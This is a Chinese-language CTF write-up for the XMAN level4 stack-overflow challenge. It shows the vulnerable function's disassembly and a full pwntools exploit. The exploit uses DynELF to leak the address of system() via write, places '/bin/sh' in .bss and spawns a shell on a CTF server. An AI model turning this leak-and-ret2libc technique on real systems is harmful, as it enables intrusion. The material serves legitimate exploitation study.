Linux栈溢出利用之DynELF实例

0x00. 写在前面

在漏洞利用的时候,如果没有给出libc库,可以先泄漏两个函数的地址,然后再去查libc的版本号。但是,这种有时候可能失效。现在利用DynELF工具来泄漏system函数的地址,然后再往一个地方写’/bin/sh’字符串并构造调用system函数的栈。下面以XMAN中的level4这道题为例,使用DynELF实现漏洞利用。

0x01. 漏洞分析

XMAN level4漏洞函数很简单,是一个栈溢出如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
vulnerable_function proc near           
.text:0804844B
.text:0804844B buf = byte ptr -88h
.text:0804844B
.text:0804844B push ebp
.text:0804844C mov ebp, esp
.text:0804844E sub esp, 88h
.text:08048454 sub esp, 4
.text:08048457 push 100h ; nbytes
.text:0804845C lea eax, [ebp+buf]
.text:08048462 push eax ; buf
.text:08048463 push 0 ; fd
.text:08048465 call _read
.text:0804846A add esp, 10h
.text:0804846D nop
.text:0804846E leave
.text:0804846F retn
.text:0804846F vulnerable_function endp

但是没有给我们libc库,使用泄漏两个函数地址查找libc版本号,并没有奏效。现在使用DynELF泄漏system函数的地址,实现漏洞利用。

0x02. 漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
from pwn import *
import sys, os

DEBUG = 1
if DEBUG:
context.log_level = 'debug'
p = process('./level4')
gdb.attach(p)
else:
p = remote('pwn2.jarvisoj.com', 9880)

elf = ELF('./level4')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x0804844b
offset = 0x8c
bss_addr = 0x804a024
pppr = 0x8048509

def leak(address, length=4):
payload = 'a' * offset + p32(plt_write) + p32(vulfun_addr) + p32(1)
payload += p32(address) + p32(length)
p.send(payload)
data = p.recv(length)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data

def main():
#1. leak system address
raw_input('#1. leak system address')
d = DynELF(leak, elf=ELF('./level4'))
system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)
payload1 = 'a'*offset + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr)
payload1 += p32(8) + p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)

#2. execute system('/bin/sh')
raw_input('#2. system binsh')
p.sendline(payload1)
p.sendline('/bin/sh\x00')

p.interactive()

if __name__ == '__main__':
main()